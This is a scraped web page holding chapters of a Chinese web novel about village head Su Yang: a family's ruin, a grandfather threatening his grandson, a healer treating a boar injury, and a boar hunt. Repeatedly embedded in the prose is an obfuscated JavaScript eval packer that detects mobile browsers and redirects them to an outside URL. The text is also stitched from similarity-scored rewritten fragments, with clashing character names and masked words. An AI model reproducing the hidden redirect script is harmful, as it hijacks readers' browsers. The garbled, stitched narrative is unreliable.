现在唯一的指望,就是苏阳能发发善心,饶儿子一命。 可看这架势…… 赖志成的老婆一咬牙,心想: “豁出去了!只要能保住儿子的命,啥都不要了!” 她“扑通”一声跪在地上,冲着苏阳连连磕头: “村正老爷,求求您,饶了小四吧!” “我……我把家里的地都赔给您,只求您留他一条命!” 这话一出,周围顿时一片哗然。 文段3(相似度:0.44):(已优化) 赖志成的老婆瘫坐在地上,像一滩烂泥,眼泪鼻涕糊了一脸。 “咋……咋还有这事……” 她做梦也想不到,烧个牲畜棚,竟然还惹出这么大的麻烦! 光是那些田地,就已经让她心疼得滴血了。 现在又冒出个被撞伤的孔婶…… 这可真是要了她的老命了! 赖志成的老婆脑子里嗡嗡直响,眼前一阵阵发黑。 突然,她像是抓住了救命稻草,猛地抬起头: “我……我还有房子!” “我把房子也赔给孔婶!只要能保住小四的命,我啥都不要了!” “我们娘俩,就……就只带几件换洗的衣裳走……” 她的声音里带着哭腔,几乎是在哀求了。 文段4(相似度:0.44):(已优化) 赖志成的老婆心里跟明镜似的。 出了这事,她们娘俩在青龙村是别想再待下去了。 与其留着房子和田地,让韩家那帮人算计,还不如全都拿出来,换儿子一条命! 再说,那帮人也不是什么好东西,平时没少挤兑他们孤儿寡母。 第二百八十一章 现在出了事,指不定怎么幸灾乐祸呢! 她越想越气,干脆一不做二不休,把所有东西都推了出去。 韩家那些人,听到赖志成的老婆要把房子和田地都赔出去,一个个气得直跳脚。 他们原以为,卓小四这回死定了,韩家的家产就都是他们的了。 可没想到,这婆娘竟然这么不讲规矩! 为了保住儿子的命,她这是要把韩家的祖产都败光啊! 这还了得? “不行!不能让她这么干!” “这婆娘疯了!她这是要断了咱们韩家的根啊!” “快去拦住她!” 几个人急吼吼地就要冲上去,却被苏阳带来的人拦住了。 文段5(相似度:0.35):(已优化) “赔?都赔了?” 人群里议论纷纷。 “这婆娘,真是豁出去了!” “为了儿子,她这是啥都不要了啊!” “可惜了那些田地,还有那房子……” 孔远山心里那叫一个美啊! 这可是大功一件! 阳哥儿肯定会高看自己一眼! 他正要开口答应,苏阳却说话了: “不够。” 孔远山吓了一跳,赶紧把到嘴边的话咽了回去。 他这才想起来,自己刚才太得意忘形了,差点忘了规矩。 还好苏阳及时制止,不然可就坏了大事了! 赖志成的老婆一听“不够”,顿时像泄了气的皮球,瘫坐在地上。 “还……还不够?” 她的声音都变了调,带着绝望的哭腔。 “那……那您说,还……还要咋样?” 苏阳面无表情地看着她,眼神像刀子一样: “你家的田地和房子,赔牲畜棚和孔婶的医药费,或许够了。” 文段6(相似度:0.35):(已优化) 这念头一起,王麻山就再也控制不住了。 他猛地抽出腰间的杀猪刀,像疯了一样朝卓小四扑过去: “老子劈了你个小畜生!” “爹!不要啊!” “爹!你这是干啥!” 王婉苏和赖志成的老婆吓得魂飞魄散,尖叫着扑上去,死死抱住王麻山的胳膊。 苏阳带来的人也反应过来了,赶紧冲上前,把王麻山和卓小四隔开。 他们可不能让王麻山在青龙村的地头上**。 真要出了人命,谁也担不起这个责任。 而且,没有苏阳的命令,他们也不敢随便动手。 文段7(相似度:0.34):(已优化) “那你说,要咋办?” 赖志成的老婆快要崩溃了。 她现在是真的一点办法都没有了。 孔远山得意洋洋地一挺胸脯: “简单!把卓小四送官!” “让吕巡检来判!判多少,咱们就认多少!” 他这话一说出来,周围的村民都愣住了。 这小子,胆子也太大了吧? 苏阳还没发话呢,他倒先做起主来了! 可他们哪知道,孔远山心里的小算盘打得噼啪响。 他这是在替苏阳说话呢! 苏阳一直没吭声,不就是这个意思吗? 文段8(相似度:0.33):(已优化) 苏阳的脸色越来越难看。 他最讨厌的就是这种不负责任的家长。 孩子犯了错,不想着怎么教育,就知道拿“他还是个孩子”当借口。 这种人,简直就是社会的毒瘤! 孔远山一看苏阳脸色不对,立马知道该自己表现了。 他往前一步,指着赖志成的老婆,厉声说道: “赔?你拿什么赔?” “你知道我们村正的牲畜棚是啥样的吗?” “那是从青虎岭土匪窝里拆下来的好木头盖的!” “就你那几两银子,够干啥的?” 他故意把“青虎岭”三个字咬得很重,就是为了吓唬赖志成的老婆。 赖志成的老婆一听这话,顿时吓得脸色煞白。 她哪知道,这牲畜棚还有这么大的来头! 文段9(相似度:0.30):(已优化) 他们把王麻山架到一边,任凭他怎么挣扎,就是不松手。 王麻山气得哇哇大叫,却也无可奈何。 他知道,今天是没机会弄死卓小四了。 没办法,他只好把目标转向了大闺女。 “闺女啊!你可不能糊涂啊!” 王麻山声泪俱下,一副痛心疾首的样子: “这小畜生,留着他就是个祸害!” “你听爹的,把他交给官府,让官府来处置他!” “就当……就当没生过这个儿子!” 赖志成的老婆虽然没读过多少书,但也听出了王麻山话里的不对劲。 她爹这是咋了? 平时也没见他这么狠心啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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毕竟是王麻山的闺女,多少得给点面子,于是就让她们母子在韩家老宅先住一晚。 夜里,王麻山把大闺女叫到一边,压低声音,咬牙切齿: “大丫头,你给老子盯紧了那小畜生! 第二百八十二章 别让他整出什么幺蛾子!不然,谁都保不住他!” 赖志成的老婆心里发毛,哪敢合眼,就怕一个不留神,儿子又跑出去惹祸。 可偏偏怕什么来什么。 后半夜,卓小四还真就摸下了床,轻手轻脚地往外走。 赖志成的老婆本来就没睡踏实,猛地一阵心慌,一个激灵就醒了。 睁眼一看,一个黑影正要推门。 “你个小兔崽子!又要去哪儿?!” 赖志成的老婆魂都吓飞了,尖叫一声,从床上蹦起来,一个饿虎扑食就冲了过去! 这一嗓子,把整个院子都给惊动了。 王麻山第一个冲了出来,他年纪大了,本来就睡不沉,听到大闺女的叫声,抓起枕边的**就冲出了屋。 一眼就看到卓小四那贼头贼脑的身影。 这小兔崽子还不死心,竟敢想着开溜! 王麻山脑袋嗡的一下,火气直冲头顶。 这小王八蛋,害得他闺女倾家荡产还不够,居然还想去找苏阳麻烦? 这不是找死吗! 到时候苏阳一发怒,他们全家都得跟着陪葬! 王麻山可不是什么心慈手软的主儿。 他对自家人还算护短,对外人,那可真是六亲不认。 卓小四一个外孙,在他眼里,跟路边的野草也没啥区别。 现在这棵野草居然要威胁到全家的性命,那还有什么好说的? 直接除了! 王麻山怒吼一声,抡起**就朝卓小四劈了过去,这是要送他去见阎王! 关键时刻,还是赖志成的老婆反应快,一个飞扑,把卓小四扑倒在地。 王麻山吓出一身冷汗,硬生生收住了刀。 “大丫头!你闪开!这小畜生留不得!他迟早害死我们全家!” 王麻山气得浑身发抖。 王婉苏也跑了出来,两个闺女哭成一团。 赖志成的老婆更是连哭带嚎,差点没给王麻山跪下。 “爹!您就饶了他这一回吧!他还小,不懂事啊!” “不懂事?他再这么闹下去,咱们都得给他陪葬!” 王麻山吼道。 “爹,我发誓,以后一定看好他!绝不让他再惹事!” “你拿什么保证?啊?你……” “爹!您要真砍了小四,我就……我就不活了!” 赖志成的老婆也是豁出去了,捡起块石头,就要往自己脑袋上砸! 王麻山吓得魂飞魄散,扔了**,死死抱住大闺女。 好一番劝说,总算是让王麻山勉强压住了火气,答应再给卓小四一次机会。 要是再有下次,新账旧账一起算,绝不留情! …… 韩家这边闹得天翻地覆,苏阳可是一点儿都不知道。 他这一晚上睡得那叫一个舒坦。 没了韩家,青龙村就是他的一言堂。 他可以按照自己的想法,大刀阔斧地改造青龙村了! 次日破晓时分,天才麻麻亮,赖志成的老婆就收拾了些家当,用上最后那辆老旧牛车,跟着王麻山离开了青龙村,走得那叫一个干净利索。 苏阳刚起床,就见负责守村门的队员喜滋滋地跑过来报信。 “村正,告诉您个好消息!赖志成媳妇已经跑路了!” “哦?” 苏阳一听,心情大好,顺手从筐里拿出两个热腾腾的杂面饼子,塞给报信的村民, “今儿个高兴,赏你的!” 苏阳为了提高大家的积极性,规定但凡立功,或者提供重要情报的人,都有奖赏。 那队员接过饼子,乐得嘴都合不拢,这可是村正亲手赏的! 这杂面饼子,可比白面馒头金贵多了。 为啥? 因为稀罕! 平时苏阳赏人,都是大白馒头管够。 可这杂面饼子,一个月也见不着几回。 别看杂面饼子不如白面馒头细软,可架不住物以稀为贵! 拿回去给婆娘孩子一显摆,那得多有面子! …… 日头刚爬上墙头,郑掌柜就派人送来了一百石粮食。 这下,整个青龙村都沸腾了! 苏阳有了粮食,大家伙就有了盼头! 正当众人议论纷纷的时候,一个更让人激动的消息传了开来: 苏阳嫌一百石粮食太少,又得采购四百石! “啥?需要购入四百石?加上这一百石,那可就是整整五百石啊!” “天爷啊!这么多粮食,得吃到啥时候去?” “这下咱们可不用担心饿肚子了!” “跟着苏村正,就是有奔头!” …… 村里人议论得热闹,苏阳心里其实比他们还着急。 粮食这东西,什么时候都不嫌多。 苏阳站在新修的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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人群一听这动静,再一瞅是村正来了,呼啦一下全散开了,比兔子跑得都快。 “吁……” 苏阳猛地一收缰绳,手背上青筋根根暴起。 第二百八十三章 战马一声长嘶,前蹄高高扬起,在空中划出一道弧线,又重重地砸在地上,这才堪堪停住。 这手勒马的本事,可是苏阳最近才练成的。 搁以前,他可不敢这么玩,弄不好就得摔个半死。 苏阳跳下马,一个箭步冲到担架前,心都提到了嗓子眼。 担架上躺着的,是朱木匠的大儿子。 只见他双眼紧闭,脸色蜡黄,嘴唇发紫,胸口微弱地起伏着,眼瞅着就剩一口气了。 朱木匠扑倒在担架旁,死死攥住孩子的手,哭得撕心裂肺,整个人都在颤抖。 那哭声,听得人心里发酸。 “杨师傅,别慌,这……这到底咋回事?跟俺说说!” 苏阳蹲下身,用力拍了拍朱木匠的肩膀,尽量让自己的声音听起来平静些。 可实际上,他心里比谁都急。 朱木匠一见是苏阳来了,像是溺水的人抓住了救命稻草,哭得更厉害了: “村正……村正啊……你可得救救俺家麻虎啊……他……他是为了救俺,才被野猪……给撞了……” 朱木匠断断续续,好不容易才把事情说清楚。 原来,他们几个石匠进山采石头,走到一处山坳的时候,突然从草丛里蹿出一头大野猪。 那野猪足有三四百斤,獠牙又尖又长,见了人就跟疯了似的,横冲直撞。 朱木匠年纪大了,腿脚不利索,眼瞅着就要被野猪拱到。 千钧一发之际,他儿子麻虎猛扑过来,用身子挡在了他前面。 麻虎抡起铁锤,照着野猪脑袋就是一下。 可野猪皮糙肉厚,这一锤子下去,竟没把它怎么样。 反倒是麻虎自己,被野猪顶了个正着,飞出去两丈多远,当场就昏死过去。 “快!快去请钱虎中!还愣着干啥!” 苏阳冲着人群吼道,声音都变了调。 “已经……早有人去找过了……村正……您……您看……” 一个帮工怯生生地说道。 话音未落,人群外就传来一阵急促的脚步声。 “来了!钱虎中来了!” 有人喊道。 钱福生提着药箱,一路小跑,累得呼哧带喘。 他拨开人群,挤到担架前,顾不上擦汗,先给朱木匠的大儿子把了把脉。 这一把脉,钱福生的脸顿时就黑了。 又是内伤! 这可咋整? 他心里直犯嘀咕,恨不得给自己两个大嘴巴子。 这年头,又没个听诊器,又没个X光机,内伤全靠猜,让他怎么治? “老钱,别愣着了,赶紧的,给你针!这回应该能搞定了?” 苏阳说着,从怀里摸出一根骨针,递了过去。 这是他昨晚苦思冥想出来的法子。 死马当活马医,总比干看着强。 钱福生接过骨针,只觉得入手冰凉,手也开始哆嗦起来。 他盯着那根细细的骨针,心里七上八下,像是揣了十五只兔子。 他当然知道骨针,医书上写得多了。 可知道是一回事,会不会用是另一回事。 这玩意儿跟银针能比吗? 一个弄不好,扎出个好歹来,算谁的? 可眼下这情形,也容不得他多想。 人命关天,再难也得上! 钱福生一咬牙,一跺脚,心一横,也顾不上那么多了。 他深吸一口气,强迫自己镇定下来,眯起眼睛,对准穴位,缓缓将骨针刺了进去。 “扑哧……扑哧……扑哧……” 别说,这钱福生虽然平时牛气哄哄,但手上功夫还真不赖。 几针下去,朱木匠的大儿子竟然开始剧烈地咳嗽,并且很快就咳出了一大口黑血。 黑血里还夹杂着一些细小的血块,看着就吓人。 “咳出来了!咳出来了!钱虎中真是神了!” “神医啊!这真是起死回生啊!” 围观的村民们纷纷惊呼起来,一个个对钱福生佩服得五体投地。 就连苏阳手下那几个小子,也忍不住小声嘀咕: “这老钱生,还真有两下子……” 钱福生听着周围的赞美声,一张老脸笑开了花。 他最喜欢听这些,比给他几百两银子还高兴。 他一边继续施针,一边捋着胡须,得意洋洋。 等到朱木匠大儿子体内的瘀血排得差不多了,钱福生又在他的人中穴上重重地扎了一针。 过了一会儿,朱木匠的大儿子慢慢睁开了眼睛。 “爹……我……我这是咋了?” 他虚弱地问道,声音轻得像蚊子哼哼。 朱木匠喜极而泣,牵着孩子的手,一个劲儿地念叨:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468196|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没事了……没事了……多亏了钱虎中……多亏了钱虎中啊……” 说着,他“扑通”一声跪倒在钱福生面前,连连磕头: “钱虎中,您就是俺们一家的大恩人啊!俺给您磕头了!” 钱福生赶忙把他扶起来,嘴里说着“使不得”,心里却美滋滋的。 苏阳见朱木匠的大儿子暂时没事了,这才放下心来。 他把朱木匠拉到一边,仔细询问起事情的经过。 “那野猪呢?跑了?” “没跑,被俺们打**!” 一个年轻的石匠抢着说道。 “村正,您是不知道,那野猪可凶了!要不是俺们人多,手里又有家伙,还真不一定能把它撂倒!” 另一个石匠补充道。 “俺们几个也看到狼了!就在山脚下转悠,一点儿都不怕人!” 一个帮工心有余悸地说。 “对对对,俺也看见了,还不止一只,有四五只呢!” 另一个人附和道。 听着大家你一言我一语,苏阳的眉头越皱越紧。 这事儿不对劲! 山里的野兽都跑出来了,肯定有啥问题。 “老钱,孔婶昨晚被牛顶了,也伤得不轻,你赶紧过去给看看!” 苏阳扭头对钱福生说道。 “石头,你带着几个新来的,在家里好好练,别偷懒!” “旭东,明志,你们俩,带着各自的小队,陪我去山里走一遭!都把家伙事儿带上,小心驶得万年船!”苏阳这人,干啥都风风火火,绝不拖泥带水。 进山打猎,可不是上山遛弯,该做的准备一样不能少。**、钢刀、盾牌、**,这些都是保命的家伙。 光有家伙还不行,还得有识途老马。苏阳把目光投向了村里的老猎人——阴弓叔。 阴弓叔可是青龙村的独苗,硕果仅存的老猎人。至于其他的,都让猎物给“猎”走了,人跟野兽,有时候就差一口气。 阴弓叔命大,硬是从狼嘴里逃了出来。 都说善泳者溺,阴弓叔打了一辈子猎,也算老许湖了,没成想还是阴沟里翻船,着了野兽的道,被狼群给围了。 靠着一身硬本事,阴弓叔算是捡回了一条命,代价却是被狼生生咬掉了一只手。 这下可好,没了手的猎人,别说打猎,不被野兽当点心就算不错了。 第二百八十四章 没了吃饭的家伙,阴弓叔连重活都干不了,这几年穷困潦倒,眼瞅着就要揭不开锅。 苏阳找上门,说要请他进山。 阴弓叔一听“进山”俩字,脑袋摇得像货郎鼓:“使不得,使不得,村正,您可不能拿命开玩笑,山里头……我这副老骨头……” 苏阳是谁?那是出了名的好心肠,开口就是五升粮食的报酬,请阴弓叔当一天向导。 阴弓叔一听,立马不摇脑袋了,一巴掌拍在自己胸口,震天响:“村正,只要您一句话!找不到猎物,您就把我老乔扔山里喂狼!” 苏阳请阴弓叔,可不是让他去拼老命,主要是借重他的经验。 山里野物是多,可也得找得着才行。没经验的人,在山里转一天,也未必能碰上一只兔子。 苏阳要打的可不是兔子,他要打野猪、野狼这种大家伙。缺个老手带路,那是两眼一抹黑,纯粹是瞎耽误工夫。 一听说苏阳要带人进山打猎,那些半大小子的家里人,一个个吓得脸都白了。 不过,今时不同往日,再怎么担心,也没人敢站出来说个“不”字。 开玩笑,野兽再厉害,还能比土匪更厉害?苏阳连土匪窝都敢端,还能怕几头畜生? 到底是老猎人,阴弓叔带着苏阳他们刚进山没一会儿,就听到了一阵“咕咕”的叫声。 “有山鸡!”阴弓叔压低声音,做了个手势。 几个小子一听,眼睛都绿了,二话不说,举起**机就要射。 “慢着!”苏阳低喝一声,“谁让你们放箭的?都忘了规矩了?” 几个小子被苏阳一瞪,顿时蔫了,悻悻地放下了**机。 头一回打猎,苏阳可没指望一上来就打野猪。他这是让这帮小子先拿山鸡练练手,找找感觉。 阴弓叔也明白苏阳的意思,笑着解释说:“阳哥儿,别急,头一回都这样。我当年第一次跟我爹进山,我都比不上他们,连弓都拉不开!” 没走多远,阴弓叔突然停下脚步,用手指了指前方。 大伙儿顺着他手指的方向望去,一只灰**野兔,正竖着耳朵啃草呢。 “看见没有?那就是兔子。”阴弓叔小声说,“都瞄准了,听我口令再放箭。” 这回,几个小子都学乖了,一个个屏气凝神,眼睛死死地盯着阴弓叔。 阴弓叔右手一挥,做了个“放”的手势,同时嘴里喊道:“射!” “嗖嗖嗖……”**箭破空而去。 “中了!我射中了!”一个小子兴奋地跳了起来,声音都走了调。 为了避免误伤,苏阳规定每次只准一半人射击,这次走运的小子叫石头,一箭射中了野兔的后腿。 两石重的弓**,劲道十足,野兔吃痛,当场就瘫在了地上。 石头一个箭步冲了上去,手起枪落,结果了野兔的性命。 苏阳点了点头,这帮小子虽然**躁,但准头还行。 接下来,阴弓叔带着众人在山里转悠。 整整一天,收获颇丰,除了十几只山鸡,还逮了七八只野兔。 苏阳倒是不在乎猎物的多少,关键是让这帮小子熟悉一下狩猎的流程,长长见识。 打到的猎物,除了给阴弓叔的那份,剩下的都让小子们分了。 苏阳还特意把阴弓叔请到家里,好好地喝了一顿。 阴弓叔多久没吃过饱饭了,他自己都记不清了。 苏阳让人做了几个硬菜,又特意蒸了白面馒头。 一顿饭下来,阴弓叔撑得直打嗝,就差没把腰带给崩断了。 “村正,我……我敬您!”阴弓叔端起酒碗,激动得话都说不利索了。 苏阳也没客气,端起碗跟他碰了一下,一饮而尽。 “阴弓叔,往后您就是咱青龙村的狩猎教头,这帮小子,可就交给您了!”苏阳指着身后站成一排的小子们说道。 “村正放心,我一定把他们都练出来!”阴弓叔拍着胸脯保证。 苏阳从屋里拿出一包东西,递给阴弓叔:“阴弓叔,这点儿东西,您拿回去给家里人补补身子。” 阴弓叔打开一看,是几个白面馒头,还有一块熏肉。 “村正,这……这太多了……”阴弓叔有些不知所措。 “不多不多,您老辛苦一天,应该的。”苏阳笑着说。 …… 第二天,天刚蒙蒙亮,苏阳就带着人进山了。 阴弓叔的精神头比昨天更足,看样子是昨晚那顿饭起了作用。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阴弓叔不愧是老把式,带着大伙儿在山里穿来绕去,很快就寻摸到一个小山坳。 往下一瞅,好家伙,所有人都倒吸一口凉气。 第二百八十五章 山坳里头,黑压压一片,全是野猪!这帮畜生,正撅着屁股拱地呢,长嘴巴在枯枝败叶里扒拉,恨不得把土都吞下去。 都饿成这熊样了,还挑啥?草根树皮都啃,这是真急眼了。 阴弓叔没急着动手,指着下边,给大伙儿上起了课:“这大冬天的,野猪都怕冷,喜欢找背风的地方猫冬,就跟这小山坳似的……” “它们鼻子比狗都灵,耳朵也好使,咱们得这么这么办……” 阴弓叔讲得唾沫阳子乱飞,小子们听得两眼放光,苏阳也听得入了迷。 阴弓叔带这么多人打猎,还是头一回。想想也是,以前他单打独斗,碰上野猪群,躲还来不及呢。就算单蹦的野猪,也得掂量掂量,没十足把握不敢下手。 可现在不一样了,苏阳手下这帮小子,哪个不是胆大包天?杀土匪都不眨眼,还怕几头野猪?再说,家伙事儿也硬气,**、钢刀、盾牌,人手一把劲**,这配置,搁以前想都不敢想。 阴弓叔当年也有一把弓,可惜是软弓,打打野鸡还凑合,碰上野猪这种皮糙肉厚的,挠痒痒都不够劲。 “差不多了,都听明白了?”阴弓叔收了声,扫视一圈。 “明白!” “那就干!” 苏阳把人分成两拨,一拨去山坳东边,一拨去西边。 山坳两边不是悬崖,野猪能往上跑。不过,真要往上冲,那得累个半死,不到万不得已,野猪不会这么干。 “都记住了,别逞能,别耍横!”苏阳又强调了一遍,“咱们人多势众,家伙也硬,只要齐心协力,保准把这帮畜生收拾得服服帖帖!” “得嘞,头儿,您就瞧好吧!” “**这帮畜生!” 小子们嗷嗷叫着,顺着山梁,悄没声地往两边摸过去。 阴弓叔说了,不用藏着掖着,野猪眼神不好,在高处看不见。 苏阳心里门清,猪的脖子构造特殊,抬不起头,再加上额头高,挡着视线,正常情况下压根看不见天。 要是一头猪,永远不会屈服,那就真的一辈子见不着天。 听着挺惨,可这就是命。 山坳不大,没一会儿,两拨人都到了地方。 苏阳和阴弓叔站在高处,坐镇指挥。阴弓叔估摸着人到位了,朝苏阳一点头。 苏阳从怀里掏出两块布,一块红的一块蓝的,这是他从三溪镇吕巡检那儿学来的,用来指挥。 “西边的,上!”苏阳把红布一抡,往西一指。 西边山坳的小子们得了令,嗷一嗓子就冲了下去。 东边的小子们按兵不动,一个个瞪大了眼睛,盯着山坳口,大气都不敢喘。 野猪也不是傻子,一听动静不对,立马就炸了窝。它们的鼻子、耳朵都灵得很,西边的小子们离着老远,就被它们闻着味儿了。 不过,野猪这玩意儿,跟人写的不一样。它们见了人,一般不往前冲,而是掉头就跑,除非吓破了胆。 偶尔有野猪伤人,那都是赶巧了。要么是离得太近,野猪吓**了;要么就是碰上受伤的、发情的,那玩意儿,谁碰谁倒霉。 这回野猪发现得早,没跟西边的小子们碰上,在一位霸气大佬的指引下,扭头就往东边跑。 苏阳看得真真的,见野猪真跟阴弓叔说的一样,往东边去了,赶紧把蓝布往下一砸。 “东边的,给老子上!”苏阳扯着嗓子喊。 东边山坳的小子们早憋足了劲,一见蓝布落下来,呼啦一下就散开了,分成两队,分别守住山坳两侧,还有几个,直接爬到了石头上。 这是阴弓叔教的,不能跟野猪硬碰硬,那玩意儿劲太大,撞一下可不是闹着玩的。 没多大会儿,野猪就到了眼前。打头的是一头大公猪,少说也有三百多斤,獠牙支棱着,一看就不是善茬。 小子们虽然杀过人,可见这么多野猪,还是有点发毛,手心里全是汗。 幸亏阴弓叔提前给他们打了预防针,知道咋办,这才没乱了阵脚。 野猪也看见了他们,不过没搭理,继续往前冲。一来,这些小子没挡道;二来,他们都站在石头上,野猪想撞也够不着。 眼瞅着野猪真跟阴弓叔算的一样,没往两边跑,只顾着闷头往前冲,小子们悬着的心总算落了地。 心一松,手就稳了。 “放!” 几个小子几乎同时扣动了**,劲**的嗡鸣声,瞬间响彻山谷!**箭破空,尖啸声几乎能撕裂空气。 负责东口指挥的,是毕明志。 他跟随苏阳的时间仅次于陈木生,耳濡目染,性子也磨得沉稳冷静。 “志哥,咋还不动手?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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阴弓叔早就安排过,从侧面攻击冲过来的野猪,只要它们不停下或者急转,就伤不着人。 第二百八十六章 这帮小子,都是见过血的,执行力没得说,对时机的把握精准得可怕。 几乎是野猪刚冲过去,他们就跟了上来。 扑哧!扑哧!扑哧! **入肉的声音,此起彼伏。 又是两头野猪轰然倒地。 “**这帮畜生!” 一个小伙子红了眼,把吃奶的劲都使了出来,手中**毫不留情。 阴弓叔千叮咛万嘱咐,从侧面攻击时,一定要集中火力先干掉一头。 野猪这玩意儿,看着笨,可生命力强,没死透之前,千万不能大意! 那边的三个家伙**一头,毕明志这边的两个则**另一头。 就在这时,跑在最后的那头野猪,也不知是受了惊吓,依然想为兄弟们讨回公道,突然改变方向,朝一个小子猛冲过去! 这倒霉蛋,正是四獠子。 他个头不高,平时在村里就喜欢跟人比划,还跟村里的老把式学过几招拳脚。 可这回,他算是碰上硬茬了。 这畜生跑得飞快,像一阵风似的,几乎眨眼就到了跟前! 四獠子吓得一哆嗦,他哪见过这阵仗? 平时就算跟人动手,也没这么吓人! 他的**还插在另一头野猪身上,想**肯定来不及了。 “娘啊!” 四獠子惊呼一声,下意识地撒手,往旁边一闪。 这一下,还真让他给躲开了。 可谁知,这野猪像是认准了四獠子,冲过去之后,竟然又调头冲了回来! 这回野猪速度稍慢,却更容易转向。 四獠子再想躲,就没那么容易了。 他一紧张,脚下没站稳,眼看就要被撞个正着! “四獠子!” 几个小子都吓懵了,忍不住惊叫出声。 生死攸关时刻,毕明志手中的蹬张**终于响了。 嘣! 没冲起来的野猪应声倒地,躺在地上不住抽搐,四条腿乱蹬,却怎么也爬不起来。 毕明志一直没动手,就是在防备意外发生。 阴弓叔可说过,野猪生命力极强,即便倒在血泊中,也不能掉以轻心,否则,后果不堪设想! 他站在石头上,视野开阔,能清楚地看到战场上的每一个细节。 直到四獠子遇险,实在躲不过去了,这才毫不犹豫地扣下**。 四獠子吓得脸色煞白,一屁股坐在地上,好半天才回过神。 “多谢……志哥……” 他朝毕明志投去感激的目光,声音都有些颤抖。 挣扎着爬起来,四獠子赶紧跑过去拔出**。 武器在手,心里才觉得踏实。 这时,狩猎基本结束了。 六头野猪横尸当场,成了众人的战果! “可惜,还是跑了几头……” 一个小伙子望着远去的野猪背影,有些惋惜地说道。 “行了,别不知足!” 旁边一个年纪稍大的小子拍了他一下, “一次干掉六头野猪,搁以前,你敢想?做梦都不敢这么做!” 对青龙村人来说,野猪可恨程度,甚至超过了狼。 狼虽然狡猾,但不饿急眼了,一般不会靠近村子。 野猪就不一样了,它们虽然怕人,但架不住庄稼地里的粮食诱人! 每到收获季节,成群的野猪总从深山里窜出来作乱。 光偷吃也就算了,关键是它们还糟蹋,连吃带拱。 几头野猪,一个晚上就能糟蹋一大片庄稼,能把人活活心疼死! 所以,每年这个时候,都是青龙村人和野猪斗智斗勇的时候。 为了护住庄稼,村里人必须日夜轮流看守。 这回一次性带走六头大家伙,大伙儿心里别提多解气了。 这些畜生,以前不知道糟蹋了多少粮食,现在总算遭了报应! 一个小伙子咧嘴一笑,露出满口白牙: “阳哥说得没错,善有善报,恶有恶报!不是不报,时候未到!” 山冈上,苏阳将这一切尽收眼底。 见大伙儿有惊无险,他悬着的心总算放了下来。 战场上没出人命,要是打猎的时候出了事,那就太不值当了。 “石头,挥旗!让大伙儿回来吧!” 苏阳扭头对身边的陈木生说道。 陈木生立刻挥动起手中的红旗,大幅度地摇晃起来。 山谷里的小子们看到旗语,知道狩猎已经结束,便沿着山谷朝东口走去。 望着地上东倒西歪的六头猎物,一个个眼睛都直了。 西边那队的小子们更是羡慕得不行,尤其是路旭东。 “**,这帮畜生也太不中用了!怎么不往咱们这边跑?” “志哥,下回, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他大手一挥,也不管其他人,撒腿就往山外跑,那速度,比兔子还快,生怕别人抢了他的头功。 大伙没走多远,离山脚没多远,百十来步路。 第二百八十七章 路旭东脚下生风,不到两个小时就下山了。 可惜,他唾沫阳子都说干了,也没人信他。 “旭东,你小子莫不是还没睡醒?一进山就拿下六头猪王?你搁这儿糊弄鬼呢!” 一个正在厂区干活的帮工,把手里的锄头往地上一杵,显然把他当成了说胡话的。 “就是,我们忙得脚打后脑勺,哪有工夫陪你瞎跑!” 旁边的人也跟着起哄,压根儿不信他的说辞。 刚入山就收获六头猪王? 开什么玩笑! 这年头,猪肉金贵着呢,谁家舍得拿野猪肉来开玩笑? “我……我……” 路旭东急得直跺脚,一张黑脸涨成了猪肝色,额头青筋都爆出来了。 “我骗你们干啥?不信你们跟我去看看!我路旭东要是说半句瞎话,天打五雷轰!” 可任凭他怎么赌咒发誓,就是没人信,都觉得这小子是癔症了。 最后,还是孔远山、路旭东、毕明志三个小子的老爹凑在一起嘀咕了半天,打算相信他这一把。 毕竟,这种事情一般没人敢乱说,万一是真的呢?自家儿子可不能吃亏! 于是,几十号原本在河堤上修坝的帮工,将信将疑地跟着路旭东进了山。 结果,一看到那六头膘肥体壮的野猪,所有人都惊呆了,下巴差点掉到地上。 “这……这真是野猪?” 一个帮工使劲揉了揉眼睛,还以为自己老眼昏花,出现了幻觉。 